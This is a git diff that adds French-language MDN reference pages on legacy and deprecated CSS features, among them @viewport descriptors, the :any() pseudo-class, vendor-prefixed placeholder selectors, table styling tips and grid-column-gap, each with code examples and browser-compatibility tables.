diff --git a/files/fr/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html b/files/fr/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html new file mode 100644 index 0000000000..c995febbea --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_e065ce90bde08c9679692adbe64f6518/index.html @@ -0,0 +1,72 @@ +--- +title: zoom +slug: Web/CSS/@viewport/zoom +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/zoom +--- +
{{CSSRef}}
+ +

Le descripteur zoom, utilisé au sein de la règle @ {{cssxref("@viewport")}}, permet de définir le niveau de zoom initial d'un document.

+ +

Un niveau de zoom égal à 1.0 ou 100% n'appliquera aucun zoom. Les valeurs supérieures zoomeront plus et les valeurs inférieures dézoomeront.

+ +

Syntaxe

+ +
/* Valeur avec un mot-clé */
+zoom: auto;
+
+/* Valeurs numériques */
+/* Type <number>      */
+zoom: 0.8;
+zoom: 2.0;
+
+/* Valeurs proportionnelles */
+/* Type <percentage>        */
+zoom: 150%;
+
+ +

Valeurs

+ +
+
auto
+
C'est l'agent utilisateur qui déterminera le niveau de zoom initial. L'agent utilisateur pourra utiliser la taille de la grille de la zone d'affichage afin de déterminer ce niveau.
+
<number>
+
Un nombre positif qui correspond au niveau de zoom appliqué. Pour plus d'informations, voir le type de donnée {{cssxref("<number>")}}.
+
<percentage>
+
Un pourcentage positif qui correspond au niveau de zoom appliqué (100% : aucun zoom ; les valeurs supérieures traduiront un zoom plus importants ; les valeurs inférieures auront un effet de « dézoom »). Pour plus d'informations, voir le type de donnée {{cssxref("<percentage>")}}.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#zoom-desc', '"zoom" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.zoom")}}

diff --git a/files/fr/conflicting/web/css/@viewport_ff9d4f4f351256d9fdb3d21397eb3880/index.html b/files/fr/conflicting/web/css/@viewport_ff9d4f4f351256d9fdb3d21397eb3880/index.html new file mode 100644 index 0000000000..f131a09f7d --- /dev/null +++ b/files/fr/conflicting/web/css/@viewport_ff9d4f4f351256d9fdb3d21397eb3880/index.html @@ -0,0 +1,76 @@ +--- +title: max-width +slug: Web/CSS/@viewport/max-width +tags: + - CSS + - Descripteur + - Reference +translation_of: Web/CSS/@viewport +translation_of_original: Web/CSS/@viewport/max-width +--- +
{{CSSRef}}
+ +

Le descripteur max-width, rattaché à la règle @ {{cssxref("@viewport")}}, permet de définir la largeur maximale de la zone d'affichage (viewport) d'un document. Par défaut, la largeur maximale de la zone d'affichage correspond à celle du viewport initial.

+ +

Syntaxe

+ +
/* Avec un mot-clé */
+max-width: auto;
+
+/* Valeur de longueur */
+/* Type <length>      */
+max-width: 400px;
+max-width: 50em;
+max-width: 20cm;
+
+/* Valeur proportionnelle */
+/* Type <percentage>      */
+max-width: 75%;
+ +

Valeurs

+ +
+
auto
+
La valeur utilisée est alors calculée selon les valeurs des autres descripteurs.
+
<length>
+
Une valeur absolue ou relative représentant une longueur. Cette valeur doit être positive.
+
<percentage>
+
Une valeur de pourcentage relative à la largeur initiale de la zone d'affichage lorsque le niveau de zoom vaut 1. Cette valeur doit être positive.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +
@viewport {
+  max-width: 600px;
+}
+ +

Spécifications

+ + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName('CSS3 Device', '#descdef-viewport-max-width', '"max-width" descriptor')}}{{Spec2('CSS3 Device')}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.at-rules.viewport.max-width")}}

diff --git a/files/fr/conflicting/web/css/_colon_is/index.html b/files/fr/conflicting/web/css/_colon_is/index.html new file mode 100644 index 0000000000..f3036e1ee9 --- /dev/null +++ b/files/fr/conflicting/web/css/_colon_is/index.html @@ -0,0 +1,175 @@ +--- +title: ':any()' +slug: 'Web/CSS/:any' +tags: + - CSS + - Experimental + - Pseudo-classe + - Reference +translation_of: 'Web/CSS/:is' +translation_of_original: 'Web/CSS/:any' +--- +
{{CSSRef}}{{SeeCompatTable}}
+ +

La pseudo-classe :any() vous permet de construire des ensembles de sélecteurs similaires en créant des groupes à partir desquels l'un des éléments sera activé. C'est une méthode alternative qui permet d'éviter de réécrire un sélecteur entier alors que seule une petite partie varie.

+ +
/* sélectionne tous les h2 d'une section, d'un article */
+/* d'un aside ou d'un nav */
+/* actuellement pris en charge avec les préfixes */
+/* -moz- et -webkit- */
+:-moz-any(section, article, aside, nav) h2 {
+  font-size: 4.5rem;
+}
+
+:-webkit-any(section, article, aside, nav) h2 {
+  font-size: 4.5rem;
+}
+
+ +
Note : Cette pseudo-classe est en voie d'être standardisée dans la spécification CSS Selectors Level 4 sous le nom de :matches(). Il est probable que la syntaxe et le nom de :-préfixe-any() soit amené à changer pour l'adopter dans un avenir proche.
+ +

Syntaxe

+ +

Syntaxe formelle

+ +
{{csssyntax}}
+
+ +

Valeurs

+ +
+
selector
+
Un sélecteur, simple ou multiple, composé d'un sélecteur CSS simple.
+
+ +
Note : Le sélecteur ne peut pas contenir de combinateur ou de pseudo-éléments.
+ +

Exemples

+ +

Simplifier la sélection de listes

+ +

Par exemple, le code CSS suivant :

+ +
/*  Les listes non-ordonnes utilisent un carré */
+    dans certains cas */
+ol ol ul,     ol ul ul,     ol menu ul,     ol dir ul,
+ol ol menu,   ol ul menu,   ol menu menu,   ol dir menu,
+ol ol dir,    ol ul dir,    ol menu dir,    ol dir dir,
+ul ol ul,     ul ul ul,     ul menu ul,     ul dir ul,
+ul ol menu,   ul ul menu,   ul menu menu,   ul dir menu,
+ul ol dir,    ul ul dir,    ul menu dir,    ul dir dir,
+menu ol ul,   menu ul ul,   menu menu ul,   menu dir ul,
+menu ol menu, menu ul menu, menu menu menu, menu dir menu,
+menu ol dir,  menu ul dir,  menu menu dir,  menu dir dir,
+dir ol ul,    dir ul ul,    dir menu ul,    dir dir ul,
+dir ol menu,  dir ul menu,  dir menu menu,  dir dir menu,
+dir ol dir,   dir ul dir,   dir menu dir,   dir dir dir {
+  list-style-type: square;
+}
+
+ +

Pourra être remplacé par :

+ +
/* Les listes non-ordonnes utilisent un carré */
+   dans certains cas */
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) ul,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) menu,
+:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) dir {
+  list-style-type: square;
+}
+ +

Cependant, on évitera d'utiliser le code suivant (cf. la section sur les performances plus bas) :

+ +
:-moz-any(ol, ul, menu, dir) :-moz-any(ol, ul, menu, dir) :-moz-any(ul, menu, dir) {
+  list-style-type: square;
+}
+ +

Simplifier la sélection de section

+ +

Ceci est particulièrement utile lorsqu'on manipule des sections et des titres HTML. Les éléments {{HTMLElement("section")}}, {{HTMLElement("article")}}, {{HTMLElement("aside")}} et {{HTMLElement("nav")}} peuvent être imbriqués, sans :any(), leur appliquer un style peut être beaucoup plus complexe.

+ +

Par exemple, sans :any(), appliquer un style à tous les éléments {{HTMLElement("h1")}} situés à différents niveaux peut être vraiment compliqué :

+ +
/* Niveau 0 */
+h1 {
+  font-size: 30px;
+}
+/* Niveau 1 */
+section h1, article h1, aside h1, nav h1 {
+  font-size: 25px;
+}
+/* Niveau 2 */
+section section h1, section article h1, section aside h1, section nav h1,
+article section h1, article article h1, article aside h1, article nav h1,
+aside section h1, aside article h1, aside aside h1, aside nav h1,
+nav section h1, nav article h1, nav aside h1, nav nav h1, {
+  font-size: 20px;
+}
+/* Niveau 3 */
+/* ... même pas la peine d'y penser */
+
+ +

En utilisant : -any(), cela devient plus simple :

+ +
/* Niveau 0 */
+h1 {
+  font-size: 30px;
+}
+/* Niveau 1 */
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+:-webkit-any(section, article, aside, nav) h1 {
+  font-size: 25px;
+}
+
+/* Niveau 2 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+
+:-webkit-any(section, article, aside, nav)
+:-webkit-any(section, article, aside, nav) h1 {
+  font-size: 20px;
+}
+
+/* Niveau 3 */
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav)
+:-moz-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}
+
+:-webkit-any(section, article, aside, nav)
+:-webkit-any(section, article, aside, nav)
+:-webkit-any(section, article, aside, nav) h1 {
+  font-size: 15px;
+}
+ +

Notes

+ +

Problèmes avec les performances et la spécificité

+ +

Le bug {{bug("561154")}} illustre un problème où la spécificité de :-moz-any() est incorrecte. L'implémentation actuelle considère :-moz-any() comme une règle universelle. Ainsi, lorsqu'il est utilisé pour le sélecteur le plus à droite d'un expression ce sera plus lent que d'utiliser un identifiant, une classe ou une balise.

+ +

Par exemple :

+ +
.a > :-moz-any(.b, .c)
+
+ +

est moins rapide que :

+ +
.a > .b, .a > .c
+
+ +

et celui-ci est rapide :

+ +
:-moz-any(.a, .d) > .b, :-moz-any(.a, .d) > .c
+
+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.selectors.any")}}

diff --git a/files/fr/conflicting/web/css/_colon_placeholder-shown/index.html b/files/fr/conflicting/web/css/_colon_placeholder-shown/index.html new file mode 100644 index 0000000000..8b1111134c --- /dev/null +++ b/files/fr/conflicting/web/css/_colon_placeholder-shown/index.html @@ -0,0 +1,117 @@ +--- +title: ':-ms-input-placeholder' +slug: 'Web/CSS/:-ms-input-placeholder' +tags: + - CSS + - Non-standard + - Pseudo-classe + - Référence(2) +translation_of: 'Web/CSS/:placeholder-shown' +translation_of_original: 'Web/CSS/:-ms-input-placeholder' +--- +
{{Non-standard_header}}{{CSSRef}}
+ +

La pseudo-classe :-ms-input-placeholder représente le texte de substitution d'un élément de formulaire. Elle permet aux auteurs et aux développeurs web d'adapter l'apparence des textes de substitution. Cette pseudo-classe est propriétaire et est uniquement prise en charge par Internet Explorer et Edge.

+ +

Exemples

+ +

Dans l'exemple suivant, le champ « Identifiant » a un style particulier. Le texte de substitution est affiché de cette façon jusqu'à ce que le focus passe sur le champ (ce qui correspond à une saisie).

+ +

CSS

+ +
input {
+  background-color:#E8E8E8;
+  color:black;
+}
+/* Style pour le texte de substitution */
+input.studentid:-ms-input-placeholder {
+  font-style:italic;
+  color: red;
+  background-color: yellow;
+}
+ +

HTML

+ +
<form id="test">
+  <p><label>Saisir le nom : <input id="nom" placeholder="Nom de l'étudiant"/></label></p>
+  <p><label>Saisir le domaine : <input id="domaine" placeholder="Domaine d'étude" /></label></p>
+  <p><label>Saisir l'identifiant : <input type="num" pattern="[0-9]{8}" title="8 digit ID" id="sid" class="studentid" placeholder="Identifiant à 8 chiffres" /></label></p>
+  <input type="submit" />
+</form>
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples","300","300")}}

+ +

Capture d'écran

+ +

+ +

Spécifications

+ +

Cette pseudo-classe est une pseudo-classe propriétaire liée à Trident/Microsoft et ne fait partie d'aucune spécification. MSDN documente cette pseudo-classe.

+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)EdgeInternet ExplorerOperaSafari (WebKit)
Support simple{{CompatNo}}{{CompatNo}}{{CompatNo}}10{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Support simple{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}
+
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/css/_doublecolon_placeholder/index.html b/files/fr/conflicting/web/css/_doublecolon_placeholder/index.html new file mode 100644 index 0000000000..4be89a52e0 --- /dev/null +++ b/files/fr/conflicting/web/css/_doublecolon_placeholder/index.html @@ -0,0 +1,97 @@ +--- +title: '::-webkit-input-placeholder' +slug: 'Web/CSS/::-webkit-input-placeholder' +tags: + - CSS + - Non-standard + - Pseudo-element + - Reference +translation_of: 'Web/CSS/::placeholder' +translation_of_original: 'Web/CSS/::-webkit-input-placeholder' +--- +
{{Non-standard_header}}{{CSSRef}}
+ +

Le pseudo-élément ::-webkit-input-placeholder représente le texte de substitution d'un formulaire. Il permet aux auteurs et aux développeurs d'adapter la mise en forme de ce texte de substitution. Ce pseudo-élément est uniquement pris en charge par WebKit et Blink.

+ +

Exemples

+ +

HTML

+ +
<input placeholder="Veuillez saisir ici...">
+ +

CSS

+ +
input::-webkit-input-placeholder {
+  color: green;
+}
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples")}}

+ +

Spécifications

+ +

Ce pseudo-élément est un pseudo-élément propriétaire lié à WebKit/Blink et ne fait partie d'aucune spécification.

+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Support simple{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Support simple{{CompatUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

Voir aussi

+ + diff --git a/files/fr/conflicting/web/css/border-collapse/index.html b/files/fr/conflicting/web/css/border-collapse/index.html new file mode 100644 index 0000000000..3a1430f65e --- /dev/null +++ b/files/fr/conflicting/web/css/border-collapse/index.html @@ -0,0 +1,201 @@ +--- +title: Tableaux +slug: Astuces_CSS/Tableaux +tags: + - CSS +translation_of: Web/CSS/border-collapse +translation_of_original: Useful_CSS_tips/Tables +--- +

Centrage

+

Si vous voulez centrer un tableau, il n'est pas correct d'utiliser

+
+
+ text-align: center
+
+

dans l'élément parent. La méthode correcte est d'appliquer le style

+
+
+ margin: 0px auto 0px auto
+
+

à la table elle-même.

+ + + + + + + + + + + + + + + + + + + + + +
Table avec margin: 0px auto 0px auto;
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
+

Bordures

+

Voici un tableau standard avec cellspacing non nul et une bordure de cellule de 1px :

+ + + + + + + + + + + + + + + + + + + + + +
Table avec cellspacing="4"
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
+

Si vous voulez transformer le tableau en grille, définissez l'espacement de cellule à 0 et le tableau devient comme ceci :

+ + + + + + + + + + + + + + + + + + + + + +
Table avec cellspacing="0"
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
+

Le résultat n'est pas celui attendu et la raison en est que le modèle de bordure par défaut est défini comme séparé. Avec ce modèle, chaque cellule à sa propre bordure, même si l'espacement de cellule est 0. Afin d'avoir un rendu comme une grille, le modèle collapse doit être utilisé.

+ + + + + + + + + + + + + + + + + + + + + +
Table avec cellspacing="0"
+ et border-collapse:collapse;
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
Contenu celluleContenu celluleContenu cellule
+

Style de colonne

+

Si vous voulez définir un style particulier à certaines colonnes du tableau, la solution usuelle est de créer une classe de style et d'assigner explicitement toutes les cellules appartenant à ces colonnes à cette classe.

+
 <style type="text/css">
+   td { background-color: #eeeeee; }
+   td.CoulNoire { background-color: #cccccc; }
+ </style>
+
+<table>
+ <tr><td class="darkcol">Cell</td>
+    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
+  <tr><td class="darkcol">Cell</td>
+    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
+  <tr><td class="darkcol">Cell</td>
+    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
+  <tr><td class="darkcol">Cell</td>
+    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
+  <tr><td class="darkcol">Cell</td>
+    <td>Cell</td><td>Cell</td><td>Cell</td><td class="CoulNoire ">Cellule</td></tr>
+ </table>
+
+

Cette solution a l'avantage d'être compatible multi-navigateur, mais nécessite aussi de modifier le code HTML, pour explicitement sélectionner les cellules du tableau à styler.

+

Pour les navigateurs supportant les sélecteurs adjacents, il existe une solution alternative en pure CSS

+
<style type="text/css">
+    /* Style pour toutes les lignes */
+  tr { font: bold 16px Arial; }
+    /* Style pour les lignes avec une ligne avant: 2e, 3e, 4e, ... */
+  tr + tr { font: 12px Arial; }
+
+    /* Style pour toutes les colonnes */
+  td { background-color: #cccccc; }
+    /* Style pour les colonnes avec une colonne avant: 2e, 3e, 4e, 5e */
+  td + td { background-color: #eeeeee; }
+    /* Style pour les colonnes avec 4 colonnes avant: 5e */
+  td + td + td + td + td { background-color: #cccccc; }
+</style>
+
+<table>
+  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
+  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
+  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
+  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
+  <tr><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td><td>Cell</td></tr>
+</table>
+
+

En-tête fixe

+

Si un tableau contient de nombreuses lignes, quand l'utilisateur fait défiler la page vers le bas pour voir toutes les données, l'en-tête défile en haut et devient invisible. Vous pouvez avoir un tableau avec un en-tête fixe et un défilement vertical, en utilisant le code ci-après.

+
+ Ce code ne fait pas partie de la page originale et a été rajouté par le traducteur
+
<style type="text/css">
+table {
+	width: 20em;                    /* esthétique */
+	border-collapse: separate;      /* par défaut */
+/*  border-collapse: collapse;          /* Boggué depuis 2002 avec overflow-y: auto sur tbody */
+	border-spacing: 0;              /* contournement du bug */
+}
+tbody {
+	height: 10em;                   /* définit une hauteur */
+	overflow-x: hidden;             /* esthétique */
+	overflow-y: auto;               /* permet de scroller les cellules */
+}
+td {
+	border-left: 1px solid blue;    /* contournement du bug */
+	border-bottom: 1px solid blue;  /* contournement du bug */
+}
+</style>
+
+<table>
+  <thead><tr><th>Entête</th><th>Entête</th><th>Entête</th></tr></thead>
+  <tfoot><tr><th>Pied</th><th>Pied</th><th>Pied</th></tr></tfoot>
+  <tbody>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+    <tr><td>Cellule</td><td>Cellule</td><td>Cellule</td></tr>
+  </tbody>
+</table>
+
+

Actuellement, il y a un problème avec le moteur de rendu de Firefox (voir sur bugzilla {{ Bug(135236) }})), qui ne style pas corectement des tableaux avec le modèle collapse border et TBODY avec le style overflow: auto.

+

{{ languages( { "en": "en/Useful_CSS_tips/Tables" } ) }}

diff --git a/files/fr/conflicting/web/css/box-ordinal-group/index.html b/files/fr/conflicting/web/css/box-ordinal-group/index.html new file mode 100644 index 0000000000..4215966858 --- /dev/null +++ b/files/fr/conflicting/web/css/box-ordinal-group/index.html @@ -0,0 +1,74 @@ +--- +title: '-moz-box-ordinal-group' +slug: Web/CSS/-moz-box-ordinal-group +tags: + - CSS + - Non-standard + - Propriété + - Reference +translation_of: Web/CSS/box-ordinal-group +translation_of_original: Web/CSS/-moz-box-ordinal-group +--- +
{{CSSRef}}
+ +
+

Attention ! Cette propriété a été implémentée pour les premiers brouillons de la spécification pour le module de boîtes flexibles. Elle a été remplacée par des propriétés standards depuis, pour plus d'informations sur ce qui doit être utilisé à la place, consultez l'article sur les boîtes flexibles.

+
+ +

La propriété -moz-box-ordinal-group indique le groupe ordinal auquel appartient l'élément. Les éléments dont le groupe ordinal est inférieur seront affichés avant ceux dont le groupe ordinal est plus élevé.

+ +

Valeurs

+ +

Cette propriété accepte des valeurs entières strictement positives. La valeur initiale de cette propriété est 1.

+ +

Exemples

+ +

CSS

+ +
#Flexbox {
+  display: -ms-box;
+  display: -moz-box;
+  display: -webkit-box;
+}
+
+#text1 {
+  background: red;
+  -ms-box-ordinal-group: 4;
+  -moz-box-ordinal-group: 4;
+  -webkit-box-ordinal-group: 4;
+}
+
+#text2 {
+  background: green;
+  -ms-box-ordinal-group: 3;
+  -moz-box-ordinal-group: 3;
+  -webkit-box-ordinal-group: 3;
+}
+
+#text3 {
+  background: blue;
+  -ms-box-ordinal-group: 2;
+  -moz-box-ordinal-group: 2;
+  -webkit-box-ordinal-group: 2;
+}
+
+#text4 {
+  background: orange;
+}
+ +

HTML

+ +
<div id="Flexbox">
+  <div id="text1">text 1</div>
+  <div id="text2">text 2</div>
+  <div id="text3">text 3</div>
+  <div id="text4">text 4</div>
+</div>
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples","300","300")}}

+ +

Spécifications

+ +

Cette propriété est une propriété propriétaire liée à Mozilla/Gecko et ne fait partie d'aucune spécification.

diff --git a/files/fr/conflicting/web/css/color_value/index.html b/files/fr/conflicting/web/css/color_value/index.html new file mode 100644 index 0000000000..3880593692 --- /dev/null +++ b/files/fr/conflicting/web/css/color_value/index.html @@ -0,0 +1,139 @@ +--- +title: Couleurs et fonds +slug: Astuces_CSS/Couleurs_et_fonds +tags: + - CSS +translation_of: Web/CSS/color_value +translation_of_original: Useful_CSS_tips/Color_and_Background +--- +

+

+

Fond translucide

+

Même si opacity (translucidité) est une propriété de style définie dans la spécification CSS3, module CSS3 Color, chapitre 3.2, des navigateurs la gèrent déjà. D'après la spécification, l'opacité peut être considérée conceptuellement comme une opération de post-traitement, par conséquent le niveau de transparence choisi est appliqué à tout le contenu. +

Cela signifie que si vous avez un DIV contenant du texte, il est impossible d'avoir du texte opaque sur un fond translucide, car si vous définissez la propriété opacity pour l'élément DIV, tout son contenu hérite de la transparence, et il est impossible de l'enlever… par des moyens normaux. +

Si vous essayez cet exemple de code, vous découvrirez que texteopaque n'est pas opaque, il a hérité de l'attribut opacity de son parent et les redéfinitions de style sont ignorées pour la raison donnée ci-dessus. +

+
<div id="conteneur">
+    <div id="texteopaque">
+      Ceci est un texte normal
+      sur un fond translucide
+    </div>
+</div>
+
+
#conteneur {
+   background-color: #ffffff;  /* le fond                 */
+   filter:alpha(opacity=50);   /* Internet Explorer 6     */
+   -moz-opacity:0.5;           /* Mozilla 1.6 et infér.   */
+   opacity: 0.5;               /* CSS3 et Mozilla récents */
+}
+#texteopaque {
+   filter:alpha(opacity=100);  /* ignoré */
+   -moz-opacity:1.0;           /* ignoré */
+   opacity: 1.0;               /* ignoré */
+}
+
+

En réalité, deux manières d'obtenir cet effet existent et fonctionnent dans plusieurs navigateurs (prennent en compte le comportement exotique d'Internet Explorer) : +

+ + +

Hiérarchie réarrangée

+

Comme suggéré précédemment, cette astuce est basée sur un autre arrangement de la hiérarchie des éléments DIV. Comme tous les descendants du DIV translucide héritent de l'opacité de leurs parents, le truc est d'utiliser deux DIV séparés pour le fond transparent et le texte opaque, placés au même niveau de la hiérarchie et non l'un dans l'autre. Les deux feront partie d'un DIV parent à positionner de manière absolue ou flottant. +

+
<div id="conteneur">
+
+   <div id="texteopaque">
+      Ceci est un texte normal
+      sur un fond translucide
+   </div>
+
+   <div id="fondtranslucide">
+
+   </div>
+
+</div>
+
+

Afin de placer la zone texteopaque par dessus fondtranslucide, il faut utiliser le positionnement absolu et l'attribut z-index pour le DIV contenant le texte. De plus, la hauteur et la largeur des deux DIV doivent être identiques, elles doivent donc être déclarées explicitement. +

+
#conteneur {
+   position: absolute;
+   top: 100px; left: 400px;         /* placez-le où vous voulez    */
+}
+
+#fondtranslucide {
+   width: 250px; height: 100px;     /* pour correspondre à la taille du DIV */
+   background-color: #ffffff;       /* la couleur de fond          */
+   filter:alpha(opacity=50);
+   -moz-opacity:0.5;
+   opacity: 0.5;
+}
+
+#texteopaque {
+   width: 250px; height: 100px;     /* pour correspondre à la taille du DIV */
+   background-color: transparent;   /* fond transparent            */
+   position: absolute;              /* positionnement absolu       */
+   z-index: 2;                      /* placement sur l'autre DIV   */
+}
+
+


+

+
Comment retirer la hauteur fixe prédéfinie
+

Il est parfois problématique d'avoir une hauteur prédéfinie, parce que la longueur du texte contenu (et des images) n'est pas connue. Il est toujours possible d'éviter de fixer la hauteur, avec quelques ajouts supplémentaires. Le plus simple est de laisser grandir le DIV texteopaque autant que nécessaire, puis d'utiliser JavaScript pour redimensionner fondtranslucide à la même hauteur. Mais ce n'est pas une solution en pur CSS. +

Si vous voulez n'utiliser que CSS, la solution est assez simple, vous n'avez qu'à répéter le contenu de texteopaque dans fondtranslucide également. Ce n'est pas élégant, mais très facile à implémenter, notamment dans les pages générées dynamiquement. +

+
<div id="conteneur">
+
+   <div id="texteopaque">
+      Ceci est un texte normal
+      sur un fond translucide
+   </div>
+
+   <div id="fondtranslucide">
+      Ceci est un texte normal
+      sur un fond translucide
+   </div>
+
+</div>
+
+

Image PNG avec canal alpha

+

Cette solution utilise toujours la hiérarchie parent-enfant, mais est en fait une technique hybride, car elle met en œuvre le fond translucide avec des moyens totalement différents selon le navigateur utilisé. +

+ + +

Notes et inconvénients pour cette solution : +

+ +
<div id="conteneur">
+  <div id="fondtranslucide">
+    <div id="texteopaque">
+      Ceci est un texte normal
+      sur un fond translucide
+    </div>
+  </div>
+</div>
+
+
#conteneur {
+   position: absolute;
+   width: 250px;
+   top: 400px;  left: 100px;
+   }
+
+#fondtranslucide {
+   width: 250px;
+   background-image: url(transparent.png) !important;  /* Mozilla uniquement */
+   background-color: transparent !important;           /* Mozilla uniquement */
+   background-image: none;                             /* IE uniquement */
+   background-color: #ffffff;                          /* IE uniquement */
+   filter:alpha(opacity=50);                           /* IE uniquement */
+   }
+
+#texteopaque { position: relative; }
+
+{{ languages( { "en": "en/Useful_CSS_tips/Color_and_Background" } ) }} diff --git a/files/fr/conflicting/web/css/column-gap/index.html b/files/fr/conflicting/web/css/column-gap/index.html new file mode 100644 index 0000000000..05b3e559d2 --- /dev/null +++ b/files/fr/conflicting/web/css/column-gap/index.html @@ -0,0 +1,128 @@ +--- +title: grid-column-gap +slug: Web/CSS/grid-column-gap +tags: + - CSS + - Propriété + - Reference +translation_of: Web/CSS/column-gap +translation_of_original: Web/CSS/grid-column-gap +--- +
{{CSSRef}}{{Deprecated_Header}}
+ +
+

Note : La propriété grid-column-gap a été fusionnée avec la propriété {{cssxref("column-gap")}} afin d'être remplacée par cette dernière.

+
+ +

La propriété grid-column-gap définit l'espacement entre les colonnes d'une grille.

+ +
{{EmbedInteractiveExample("pages/css/grid-column-gap.html")}}
+ + + +

En termes de dimensionnement, cet espace est traité comme une piste supplémentaire de la longueur indiquée. Les valeurs négatives ne sont pas autorisées.

+ +

Syntaxe

+ +
/* Valeurs de longueur */
+grid-column-gap: 20px;
+grid-column-gap: 1em;
+grid-column-gap: 3vmin;
+grid-column-gap: 0.5cm;
+
+/* Valeurs relatives à la taille */
+/* de l'élément englobant        */
+/* Type <percentage>             */
+grid-column-gap: 10%;
+
+/* Valeurs globales */
+grid-column-gap: inherit;
+grid-column-gap: initial;
+grid-column-gap: unset;
+
+ +

Valeurs

+ +
+
<length-percentage>
+
La largeur de la « gouttière » placée entre les colonnes de la grille. Pour les valeurs exprimées en pourcentages, elles sont relatives aux dimensions de l'élément englobant.
+
+ +

Syntaxe formelle

+ +
{{csssyntax}}
+ +

Exemples

+ +

CSS

+ +
#grid {
+  display: grid;
+  height: 100px;
+  grid-template-columns: repeat(3, 1fr);
+  grid-template-rows: 100px;
+  grid-column-gap: 20px;
+}
+
+#grid > div {
+  background-color: lime;
+}
+ +

HTML

+ +
<div id="grid">
+  <div></div>
+  <div></div>
+  <div></div>
+</div>
+ +

Résultat

+ +

{{EmbedLiveSample("Exemples", "100%", "100px")}}

+ +

Spécifications

+ + + + + + + + + + + + + + + + + + + + + +
SpécificationÉtatCommentaires
{{SpecName("CSS3 Box Alignment", "#propdef-grid-column-gap", "grid-column-gap")}}{{Spec2("CSS3 Box Alignment")}}Dépréciée afin d'être remplacée par {{cssxref("column-gap")}}.
{{SpecName("CSS3 Grid", "#gutters", "grid-column-gap")}}{{Spec2("CSS3 Grid")}}Définition initiale.
+ +

{{cssinfo}}

+ +

Compatibilité des navigateurs

+ + + +

{{Compat("css.properties.grid-column-gap")}}

+ +

Voir aussi

